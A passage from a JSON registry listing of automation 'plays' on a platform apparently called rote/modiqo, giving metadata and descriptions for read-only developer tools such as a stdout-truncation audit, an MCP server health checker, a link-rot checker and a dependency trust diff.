prefix","example":"main"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2e60d3d3ee98f19a76589e74926c2fff90fb3c2880bc61ed7e05b1fc1fff9ed7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":6,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":3},{"name":"git","kind":"tool","source":"declared","count":2},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/aryangorde/truncation-audit@0.1.4","reference":"aryangorde/truncation-audit@0.1.4","uri":"https://play.modiqo.ai/aryangorde/truncation-audit@0.1.4","manifest_uri":"https://play.modiqo.ai/aryangorde/truncation-audit@0.1.4","name":"truncation-audit","title":"truncation-audit","description":"A rote step captures only the first 65536 bytes of its stdout. Past that the runner sets a `truncated` flag, writes the whole payload to an artifact the presentation plane cannot open, and hands the play a prefix. Nothing reports a problem: the step exits 0, the runner prints every step completed, the run exits 0, and lint cannot see it. So a play that reads `.stdout.text` without checking that flag answers confidently from a fraction of its own evidence. This play audits a machine for exactly that. It reads both records the runner leaves: a completed step files its observation under the step body, a failed one files it under a diagnostic, and a step killed at its timeout budget is only ever a failed step -- so an audit reading bodies alone reports no timeouts on a machine that has them. It names each step that was actually cut, with the bytes produced against the bytes carried, and reports a killed step as a separate outcome of the same condition: that one carries no flag at all, because nothing chose to cut it -- the command simply never finished. The response log is read alongside, for the observations no presentation record names. Then it reads every installed play and separates the ones that check the flag from the ones that consume stdout without it. Demonstrated loss and untested exposure are reported apart and never merged. Its own scan folds 26 MB of run history into under 5 KB inside the step, because a naive version of this play would truncate on its own evidence. Read-only, no network, no API key.","owner":{"kind":"user","slug":"aryangorde"},"registry_organization":"aryangorde","tags":["effect-read-only","truncated-output","stdout-truncation","silent-data-loss","partial-read","incomplete-output","quiet-failure","play-audit","process-exec","self-audit","correctness","rote-internals"],"primary_domain":"domain-uncategorized","author":"Aryangorde6","version":"0.1.4","published_at":"2026-09-05T12:10:56.275666+00:00","visibility":"public","quality_score":1,"size_bytes":21046,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":2,"names":["scan_runs","scan_plays"]},"parameters":[{"name":"root","type":"string","required":false,"default":"~/.rote","description":"The rote home to audit; both the installed plays and the recorded runs are read from under it","example":"~/.rote"},{"name":"play","type":"string","required":false,"default":"all","description":"Restrict the installed-play scan to one owner, one play name, or one owner/name reference","example":"praveen-sec/repo-leak-doctor"},{"name":"max_rows","type":"number","required":false,"default":40,"description":"Detail rows carried out of each scan; the totals are always reported alongside, so a clamped list stays a labelled lower bound"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e2a123cc12db4e79bcdcc5a2eb90feaa6f31a31d0aab390b963cacac05953041","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/incident-time-machine@0.2.6","reference":"sakshamsai26/incident-time-machine@0.2.6","uri":"https://play.modiqo.ai/sakshamsai26/incident-time-machine@0.2.6","manifest_uri":"https://play.modiqo.ai/sakshamsai26/incident-time-machine@0.2.6","name":"incident-time-machine","title":"incident-time-machine","description":"Reconstruct the local Git evidence around an incident without inventing a deployment narrative. Given an incident timestamp, this Play builds a bounded before/after commit timeline, groups changed paths, marks candidate configuration/dependency/test areas, and ranks the nearest changes as investigation leads—not causes. You control the evidence window, maximum commits, and whether compact changed-path summaries are included. The report distinguishes observed Git facts from competing explanations that need telemetry, CI, deploy, dependency, or runtime evidence. Read-only: it never contacts remotes, fetches, changes Git state, runs code, or reads secrets.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.6","published_at":"2026-09-05T07:19:53.744149+00:00","visibility":"public","quality_score":1,"size_bytes":7307,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":10,"names":["boundary","classify","timeline","inventory","preflight","auth_github","write_report","parallel_targets","github_repository","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to an authorized local Git repository."},{"name":"incident_time","type":"string","required":true,"description":"Incident timestamp accepted by Git, for example 2026-09-01T12:00:00Z."},{"name":"window_hours","type":"string","required":false,"default":"24","description":"Hours before and after the incident to inspect, from 1 to 168. Smaller windows improve signal; larger windows preserve more context but add unrelated changes."},{"name":"max_commits","type":"string","required":false,"default":"30","description":"Maximum nearby commits to report, from 1 to 100. The report states when this cap may have truncated evidence."},{"name":"include_paths","type":"string","required":false,"default":"true","description":"Whether to include compact changed-path summaries for each nearby commit. false keeps the timeline subject-only."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings returns the ranked timeline and investigation order. all adds value-free evidence coverage and candidate-area grouping."},{"name":"github_owner","type":"string","required":true,"description":"Optional GitHub repository owner for read-only remote metadata evidence."},{"name":"github_repo","type":"string","required":true,"description":"Optional GitHub repository name; supply with github_owner."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6ffe5a0ea3654a089dc3a22fd43fa185e5821a4c91c279f60096041cb403fa0a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":1,"shell":8,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":7,"fan_out":8,"for_each_steps":1,"complexity":20,"apis":[{"adapter":"github","steps":2,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/environment-drift-detective@0.3.7","reference":"sakshamsai26/environment-drift-detective@0.3.7","uri":"https://play.modiqo.ai/sakshamsai26/environment-drift-detective@0.3.7","manifest_uri":"https://play.modiqo.ai/sakshamsai26/environment-drift-detective@0.3.7","name":"environment-drift-detective","title":"environment-drift-detective","description":"Catch repository configuration contradictions before they become fresh-clone, CI, or deployment failures. This is a static contract audit, not a deployment test: it cross-checks environment-variable names and parsing types across bounded application source, .env.example/.env.sample, Dockerfile, Compose, README, package metadata, and every bounded GitHub Actions workflow. It also compares Node runtime signals, documented/Compose ports, source and CI-only configuration names, and source parsing inconsistencies. Every finding states its severity, the evidence boundary, the two sources that disagree where available, and a concrete remediation order. report=all additionally emits a value-free coverage and contract matrix so absence findings can be reviewed. It never reads environment values, executes project code, changes files, follows symlinks, contacts services, or treats runtime-injected settings as proven absent.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write","optional-local-report-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.3.7","published_at":"2026-09-05T07:17:23.480093+00:00","visibility":"public","quality_score":1,"size_bytes":8822,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":9,"names":["detect","boundary","inventory","preflight","auth_github","write_report","parallel_targets","github_repository","parallel_evidence"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute repository directory to audit. Symlinks, files over the safe size limit, dependency directories, and environment values are skipped. The path is never included in the report."},{"name":"max_source_files","type":"string","required":false,"default":"600","description":"Maximum source files to inspect, from 50 to 2000. Lower values run faster but may make absence findings PARTIAL; higher values do not inspect dependency/vendor directories."},{"name":"max_file_bytes","type":"string","required":false,"default":"160000","description":"Maximum bytes read from any one text file, from 10000 to 500000. Larger files are skipped rather than partially interpreted. Lowering this cap can make source absence findings PARTIAL."},{"name":"include_ci","type":"string","required":false,"default":"true","description":"Whether to inspect up to 30 GitHub Actions YAML files under .github/workflows. false keeps the audit local to repository source/docs/container signals and labels CI comparisons NOT ASSESSED."},{"name":"include_docs","type":"string","required":false,"default":"true","description":"Whether to compare README localhost ports and runtime instructions. false avoids documentation-based findings while keeping source/config comparisons."},{"name":"report","type":"string","required":false,"default":"findings","description":"findings prints actionable contradictions only. all also prints the bounded source/CI coverage used for absence claims. Neither mode reveals environment values."},{"name":"github_owner","type":"string","required":true,"description":"Optional GitHub repository owner for read-only remote metadata evidence."},{"name":"github_repo","type":"string","required":true,"description":"Optional GitHub repository name; supply with github_owner."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the repository. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes repository files."},{"name":"parallel_file_limit","type":"string","required":false,"default":"24","description":"Maximum safe repository files to inspect concurrently for supplemental evidence, from 1 to 100. Files are selected deterministically, dependency/vendor directories and symlinks are excluded, and no file content or environment value is printed. Lower limits make file-level coverage PARTIAL."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:88b1634b3f7bee072fc6e5e240062011c93fb97f5784f66874a37880fcbe89a5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":1,"shell":7,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":6,"fan_out":8,"for_each_steps":1,"complexity":18,"apis":[{"adapter":"github","steps":2,"methods":["repos/get"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/hackathon-portfolio-triage@0.8.2","reference":"himanshu-jha/hackathon-portfolio-triage@0.8.2","uri":"https://play.modiqo.ai/himanshu-jha/hackathon-portfolio-triage@0.8.2","manifest_uri":"https://play.modiqo.ai/himanshu-jha/hackathon-portfolio-triage@0.8.2","name":"hackathon-portfolio-triage","title":"hackathon-portfolio-triage","description":"Ranks every hackathon entry you have open by which one will cost you an entry first. It validates a bounded manifest, then one triage step audits up to sixteen repositories through an eight-worker pool before joining deadline pressure against unresolved findings. The Rote DAG is sequential; repository fan-out runs inside the bounded triage process. A clean entry never outranks a broken or incomplete one however close its deadline. Impossible dates, relative paths, duplicate names, malformed audit output, and partial scans fail closed. Read-only: never writes to an audited repo, never runs its build, carries no credentials, needs only python3 and git.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-engineering","tool-git","hackathon","deadline","triage","portfolio"],"primary_domain":"domain-engineering","author":"himanshu748","version":"0.8.2","published_at":"2026-09-05T05:12:32.082182+00:00","visibility":"public","quality_score":1,"size_bytes":33646,"license":"MIT","stats":{"downloads":12,"installs":0},"steps":{"count":2,"names":["triage","validate_manifest"]},"parameters":[{"name":"manifest","type":"string","required":false,"default":"","description":"Absolute path to a JSON manifest of {\"entries\": [{name, repo, deadline}]}. Leave it out and the repositories on this machine are discovered and ranked instead, carrying no deadlines, which the report states plainly rather than implying a schedule it never read. A relative path is never right here: steps run in the play run workspace, not your shell.","example":"/Users/me/entries.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2c872fd932c516a61b43d82b9fc49f41dfa5525f0b232005c03036217afc26c7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/mcp-doctor@0.1.5","reference":"dotisacat/mcp-doctor@0.1.5","uri":"https://play.modiqo.ai/dotisacat/mcp-doctor@0.1.5","manifest_uri":"https://play.modiqo.ai/dotisacat/mcp-doctor@0.1.5","name":"mcp-doctor","title":"mcp-doctor","description":"Is each of your configured MCP servers healthy, and what should you do about the ones that are not? You get a health state for every server, a cold-start time that is a real measurement (never an estimate), a plain-text advisory for anything that needs attention, and any config drift where the same server name is declared differently across your harnesses. Configs are discovered read-only from Claude Code, Claude Desktop, Cursor, Codex, and Windsurf's own well-known paths -- never a filesystem walk. Each local stdio server is briefly spawned in its own isolated process group with a minimal environment (PATH plus locale/timezone only) just for the standard MCP handshake, then that whole process group is always terminated -- nothing else on your machine is signaled. Remote servers are never contacted; this play makes zero network calls of its own, though a spawned server's own launcher (uvx/npx) may reach the network on its own. No credential is transmitted beyond that minimal spawn environment, no argument value or env var value is ever shown, and only an env-var count survives per server. Advisories are text only and nothing here is ever executed. Needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-mcp-diagnosis","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.1.5","published_at":"2026-09-04T18:06:29.018533+00:00","visibility":"public","quality_score":1,"size_bytes":29214,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":2,"names":["probe_server","discover_configs"]},"parameters":[{"name":"per_server_timeout_s","type":"integer","required":false,"default":"10","description":"Seconds to wait for each server's handshake (1-60); servers answering after half this are flagged slow-coldstart","example":"10"},{"name":"max_servers","type":"integer","required":false,"default":"20","description":"Diagnose at most this many servers (1-50); the rest are listed capped, not probed","example":"20"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:65001452cd42d18855fb4723dc85f87c6615084df3c61d6581d85ca612f8b969","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":3,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/dotisacat/agent-resource-audit@0.2.8","reference":"dotisacat/agent-resource-audit@0.2.8","uri":"https://play.modiqo.ai/dotisacat/agent-resource-audit@0.2.8","manifest_uri":"https://play.modiqo.ai/dotisacat/agent-resource-audit@0.2.8","name":"agent-resource-audit","title":"agent-resource-audit","description":"Your agents keep running after you stop typing, and what they hold is invisible until the fans come on. You get every agent-related process on this machine right now -- Claude Code, Codex, Cursor, Windsurf, Copilot, Aider, opencode, gemini-cli, MCP servers, and their companion processes -- grouped by kind and ranked by memory, the total agent footprint measured against your system RAM, and every Claude Code or Codex session file on disk, matched to a live process where one exists. A process is flagged orphan-suspect only when it is reparented to launchd, agent-shaped, and has run more than ten minutes -- a suspicion, never a certainty; known daemons and desktop-app helpers are excluded outright. Codex sessions can't be matched to a process the way Claude Code's can, so every one is reported as resumable, with a separate note when a codex process is actually running. Session files are read by filesystem metadata only, never opened. Kill commands and resume commands are printed as text for you to read and run yourself; nothing here is ever executed on your behalf. Read-only, no credentials, no network, never reads environment variables or file contents; needs only python3.","owner":{"kind":"user","slug":"dotisacat"},"registry_organization":"dotisacat","tags":["domain-agent-operations","job-resource-audit","audience-developers","effect-read-only","tool-shell"],"primary_domain":"domain-agent-operations","author":"Sunzeyu06","version":"0.2.8","published_at":"2026-09-04T18:06:17.880499+00:00","visibility":"public","quality_score":1,"size_bytes":48974,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":4,"names":["scan_sessions","system_memory","classify_and_rank","enumerate_processes"]},"parameters":[{"name":"top","type":"integer","required":false,"default":"15","description":"How many processes to show, ranked by memory (1-100)","example":"15"},{"name":"min_rss_mb","type":"integer","required":false,"default":"25","description":"Only report processes holding at least this many MB of resident memory (0-4096)","example":"25"},{"name":"idle_minutes","type":"integer","required":false,"default":"20","description":"A running session with no transcript activity for this many minutes counts as idle (1-1440)","example":"20"},{"name":"max_age_days","type":"integer","required":false,"default":"30","description":"List on-disk sessions newer than this (1-365)","example":"30"},{"name":"harness","type":"string","required":false,"default":"all","description":"Which harness sessions to scan -- valid values are all, claude, or codex","example":"all"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6bfb0de093891af2341dcb5c05a68435af2ee195ee1c7b84455c7c2fa2399d02","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":3,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/chinmoy/link-rot@0.4.0","reference":"chinmoy/link-rot@0.4.0","uri":"https://play.modiqo.ai/chinmoy/link-rot@0.4.0","manifest_uri":"https://play.modiqo.ai/chinmoy/link-rot@0.4.0","name":"link-rot","title":"link-rot","description":"Requests every external URL a repository's documentation hands a reader and reports which no longer resolve, and resolves every relative link and in-page anchor against the tracked file list with no network at all. 7 probes read tracked docs and project manifests such as package.json homepage, pyproject [project.urls] and FUNDING.yml, then contact each URL with HEAD and fall back to GET, following redirects and recording the chain. It flags dead status codes, pages that redirect to the site root so the linked content is gone while the link still answers 200, and permanent moves the documentation should name instead. Offline it still reports a relative link or image pointing at a path git does not track, a path that differs from a tracked one only in case so it 404s on GitHub and Linux CI while working on a Mac, a file that exists only untracked, and an anchor no heading slugs to. Placeholder hosts, template URLs carrying a {slot}, and rate-limited 429 responses are never reported as dead. It does not verify that a page contains what the link text promises, and it reports UNKNOWN rather than a pass when nothing could be checked.","owner":{"kind":"user","slug":"chinmoy"},"registry_organization":"chinmoy","tags":["effect-read-only","domain-documentation","domain-engineering","tool-git","tool-python3","job-repo-audit","audience-maintainers","audience-developers","readme","links","broken-links","dead-links","http","badges","redirects","portfolio","link-checker","documentation-health","relative-links","anchors","markdown"],"primary_domain":"domain-documentation","author":"chinmoy","version":"0.4.0","published_at":"2026-09-04T07:54:05.232664+00:00","visibility":"public","quality_score":1,"size_bytes":30988,"license":null,"stats":{"downloads":12,"installs":0},"steps":{"count":7,"names":["verdict","host_probe","probe_urls","local_links","extract_urls","discover_docs","manifest_urls"]},"parameters":[{"name":"path","type":"string","required":false,"default":".","description":"Work tree whose documentation is checked. The default '.' resolves to the directory the run started in, so a zero-argument run checks the repository you are standing in; pass an absolute path to check a checkout somewhere else. Only tracked files are read, because a scratch note that was never committed is not something a stranger receives."},{"name":"docs","type":"string","required":false,"default":"README*,CONTRIBUTING*,docs/**,*.md","description":"Comma-separated globs naming the documents whose links a reader is handed. The default covers the files a newcomer opens first plus everything under docs/, and bare globs apply at the repository root only so a stray markdown file deep in a vendored tree is not treated as documentation. Pass an empty value to check manifest URLs alone."},{"name":"timeout_ms","type":"integer","required":false,"default":"8000","description":"Per-URL budget before a host is called unreachable. The default 8000 keeps a normal repository under half a minute, and a URL that times out is retried once at double the budget before being reported, because a slow-but-alive blog should not be listed as broken."},{"name":"concurrency","type":"integer","required":false,"default":"8","description":"How many URLs are requested at once, capped at 16. The default 8 is chosen so a README with fifty links finishes in seconds without looking like a scraper to any single host; lower it to 2 or 3 when every link points at one domain that rate-limits."},{"name":"check_relative","type":"boolean","required":false,"default":"true","description":"Whether repository-relative links, images and in-page anchors are resolved against the tracked file list. This is a real behaviour change, because through 0.3.2 this play stated in writing that relative links and anchors were never contacted, and the default true now decides them - a link or image pointing at a path git does not track, a path differing from a tracked one only in case so it works on macOS and 404s on GitHub and Linux CI, a path that exists only as an untracked file the author alone can see, and an anchor no heading in the document slugs to. None of it needs a network, so it answers on a plane and in CI with egress blocked. A link to a directory that exists, one carrying a query string, mailto and tel, and anything under .github/ are never reported. Set false to restore the 0.3.2 behaviour of checking external URLs alone."},{"name":"check_badges","type":"boolean","required":false,"default":"true","description":"Whether shield and coverage badge images are contacted as well as ordinary links. The default true includes them, since a badge pointing at a deleted CI project is exactly the kind of quiet rot that makes a README look abandoned; set false to check only the links a reader would click."},{"name":"max_urls","type":"integer","required":false,"default":"200","description":"Upper bound on how many URLs are contacted. The default 200 covers almost every repository, and when the bound is hit first-screen links are kept preferentially and the report states how many were counted but not checked, rather than quietly under-reporting."},{"name":"ignore_hosts","type":"string","required":false,"default":"","description":"Comma-separated hostnames to skip entirely. The default is empty because placeholder and loopback hosts are already excluded automatically; add a host here when it blocks automated requests and produces an inconclusive result you have already investigated."},{"name":"in_code","type":"boolean","required":false,"default":"false","description":"Whether URLs inside fenced code blocks are contacted. The default false skips them, because a URL in an example command is usually illustrative and requesting it produces noise rather than a finding; set true when your documentation puts real endpoints in code fences."},{"name":"severity","type":"string","required":false,"default":"all","description":"Which findings reach the report: all, or critical. The default all keeps the warnings and the inconclusive results, because a permanent redirect and a host that refuses automated requests are both worth seeing once; use critical for only what a reader will actually find broken."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c014b144bf46d0d1259dbf9103fdeffdc5c15e968a3ed7d15290de6fc6a8c5a8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":3,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/paveenkumar-dev/project-flow-brief@0.0.22","reference":"paveenkumar-dev/project-flow-brief@0.0.22","uri":"https://play.modiqo.ai/paveenkumar-dev/project-flow-brief@0.0.22","manifest_uri":"https://play.modiqo.ai/paveenkumar-dev/project-flow-brief@0.0.22","name":"project-flow-brief","title":"project-flow-brief","description":"Documents a local codebase as a diagram and a spoken walkthrough, in two steps. It writes seven artifacts - mermaid, SVG, PNG, .excalidraw, narration text and audio - into a docs folder inside the project you choose, and refuses to run rather than replace existing ones unless you pass overwrite=true. No network calls, no LLM calls, nothing is sent. Run it with no arguments to list every project it finds, then enter that project's number on the next run. Numbers refer to the most recently displayed list on this machine. For the chosen project it derives a module dependency graph from Python, JavaScript, TypeScript, Rust or Ruby - resolving path aliases, workspace members and cross-file chains - while skipping vendored trees, snapshots and tests. With no derivable graph it falls back to a directory-structure map. Rendering SVG, PNG and .excalidraw needs the gstack browse daemon locally; without it the run still succeeds, emits the mermaid source, narration and audio, and names what it skipped.","owner":{"kind":"user","slug":"paveenkumar-dev"},"registry_organization":"paveenkumar-dev","tags":["macos","diagram","excalidraw","mermaid","documentation","audio","codebase"],"primary_domain":"domain-uncategorized","author":"paveenkumar-dev","version":"0.0.22","published_at":"2026-09-06T14:52:24.695609+00:00","visibility":"public","quality_score":1,"size_bytes":28154,"license":null,"stats":{"downloads":11,"installs":0},"steps":{"count":1,"names":["build_brief"]},"parameters":[{"name":"project_number","type":"string","required":false,"default":"","description":"Enter a number from the most recently displayed project list on this machine. Leave empty to list projects. Do not combine with project_path."},{"name":"project_path","type":"string","required":false,"default":"","description":"Optional project path for direct selection. Leave both project_path and project_number empty to display a numbered list. Quote the full key=value argument if the path contains spaces."},{"name":"search_roots","type":"string","required":false,"default":"~/Documents,~/Projects,~/Developer,~/Code","description":"Comma-separated directories scanned when both selection inputs are empty. Candidates hold a .git directory or known manifest; scanning descends through grouping directories."},{"name":"voice","type":"string","required":false,"default":"Tara","description":"macOS say voice for the narration, for example Tara, Rishi, Samantha or Daniel. An explicitly requested voice that is not installed stops the run rather than substituting silently, because `say` itself exits 0 on an unknown voice and quietly uses the system default. If the default voice is simply absent on this machine the run continues with an installed one and says so in the warnings. Run `say -v '?'` to list installed voices."},{"name":"speech_rate","type":"integer","required":false,"default":168,"description":"Narration speed in words per minute. Clamped to 90-400."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Directory to write artifacts into. Defaults to a docs directory inside project_path. Existing files with the same names are overwritten."},{"name":"mermaid_file","type":"string","required":false,"default":"","description":"Optional path to hand-authored mermaid source, used instead of the derived import graph. Must be a flat flowchart - subgraph blocks make the Excalidraw conversion collapse to a flat image."},{"name":"narration_file","type":"string","required":false,"default":"","description":"Optional path to a hand-authored narration script, used instead of the mechanically derived one."},{"name":"include_tests","type":"string","required":false,"default":"false","description":"Keep test files and test directories in the module graph. Off by default, so the diagram shows the shipped architecture rather than its test suite. Accepts true or false.","values":["true","false"]},{"name":"max_nodes","type":"integer","required":false,"default":18,"description":"Maximum modules drawn before the least connected are dropped and summarised on the canvas. Clamped to 5-60. Raise it to diagram a large project in full, at the cost of readability."},{"name":"overwrite","type":"string","required":false,"default":"false","description":"Replace artifacts that already exist in output_dir. Defaults to false, which stops before writing anything when any target file exists, protecting hand-authored documents sharing these names. Set true to replace them; replaced files are always named in the warnings. Accepts true or false.","values":["true","false"]}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d551e99e85e4e78982797847ae0d0d7616fb2499cfe54af2760ee0e3633d127b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/pugarhuda/dependency-trust-diff@0.8.1","reference":"pugarhuda/dependency-trust-diff@0.8.1","uri":"https://play.modiqo.ai/pugarhuda/dependency-trust-diff@0.8.1","manifest_uri":"https://play.modiqo.ai/pugarhuda/dependency-trust-diff@0.8.1","name":"dependency-trust-diff","title":"dependency-trust-diff","description":"For every dependency your lockfile pins — npm, pnpm and yarn, PyPI, crates.io and Go — compare the version you actually have against the public registry and report what a version number hides — the publishing account changed, the license changed, an install hook appeared, or a known vulnerability already sits on the exact version you pinned. Read-only, no credentials, no adapters, and nothing the repository ships is ever executed. A package name stays the same through a maintainer handover, a sold project, or a takeover, so the name is not the supply-chain trust anchor; the publishing account and the license are, and neither appears in `npm outdated` or a lockfile diff. Reads package-lock.json, npm-shrinkwrap.json, pnpm-lock.yaml (v5 to v9) and 